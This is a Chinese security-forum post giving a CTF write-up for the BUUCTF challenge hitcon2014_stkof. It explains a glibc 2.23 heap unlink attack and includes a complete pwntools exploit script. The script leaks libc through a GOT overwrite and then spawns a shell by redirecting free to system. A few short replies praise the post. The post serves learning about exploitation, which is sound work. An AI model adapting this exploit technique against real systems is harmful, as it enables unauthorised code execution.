吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1748|回复: 2
收起左侧

[CTF] [unlink]hitcon2014_stkof

[复制链接]
bnuzgn 发表于 2023-10-1 13:55
本帖最后由 bnuzgn 于 2023-10-1 13:57 编辑

题目来源
buuctf——hitcon2014_stkof
参考链接
https://blog.csdn.net/mcmuyanga/article/details/112602827
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息

libc_2.23、64位   
1截图.png

没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。
    2截图.png

add函数中初始化了堆大小
    3截图.png

edit函数由用户自定义大小,可以溢出   
4截图.png

注意,free函数会将结构体的地址清零,从而无法构造unlink链。
    5截图.png

show函数无法控制输出的内容,本题中不会使用。
    6截图.png
解题思路

unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
  • 申请三个chunk,包含头部大小分别为0x20,0x30,0x90,chunk 1用来setbuf献祭,0x30删去0x10的head剩下0x20构造已经被释放的fake chunk的结构,0x90用于触发unlink。
  • 编辑chunk 2,构造fake chunk并修改chunk 2的head:
    • 在0x20的内容段中填写 p64(0) + p64(0x21) + p64(bss + 0x10 -0x18) + p64(bss + 0x10 -0x10),前两个是head,后两个是fd和bk(原理参考链接1)
    • 溢出修改chunk 3的head,将previous size改成0x20,size段中0x91改成0x90
  • 释放chunk3,此时chunk2的结构体的内容将会被修改为这个结构体的地址-0x18
  • 编辑chunk2可以修改结构体的内容了
  • 修改free_got指向puts_plt

关键步骤
  • 构造fake chunk,填写fd与bk
  • 修改free_got指向puts_plt,而不是将free_plt指向puts_got。后者虽然看起来逻辑通顺,前者多了两个环节,但是如此一来_dl_runtime_resolve中的表项就对不上了,会报错(原理参考链接2)
wp
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding: utf-8
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
 
pc = "./hitcon2014_stkof"
 
if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28964)
        elf = ELF(pc)
        libc = elf.libc
 
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
 
def db():
    gdb.attach(r)
    pause()
 
def dbs(src):
    gdb.attach(r, src)
 
def add(size):
    sl("1")
    sl(str(size))
 
def edit(index,content):
    sl("2")
    sl(str(index))
    sl(str(len(content)))
    sl(content)
 
def free(index):
    sl("3")
    sl(str(index))
 
def show(index):
    sl("4")
    sl(str(index))
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
 
bss = 0x602140
target = bss+0x10
add(0x10) #1
add(0x20) #2
add(0x80) #3
add(0x20) #4
 
payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
edit(2,payload)
free(3)
# db()
payload = p64(0) + p64(free_got) + p64(puts_got)
edit(2,payload)
edit(0,p64(puts_plt))
free(1)
 
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
# db()
 
edit(4,"/bin/sh")
edit(0,p64(system_addr))
free(4)
ti()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jzghcj + 1 + 1 我很赞同!
hrh123 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jzghcj 发表于 2023-10-2 15:53
看着很厉害的样子,可惜我不懂,给你个大赞
yaphoo 发表于 2023-10-4 08:11
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-24 05:11

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表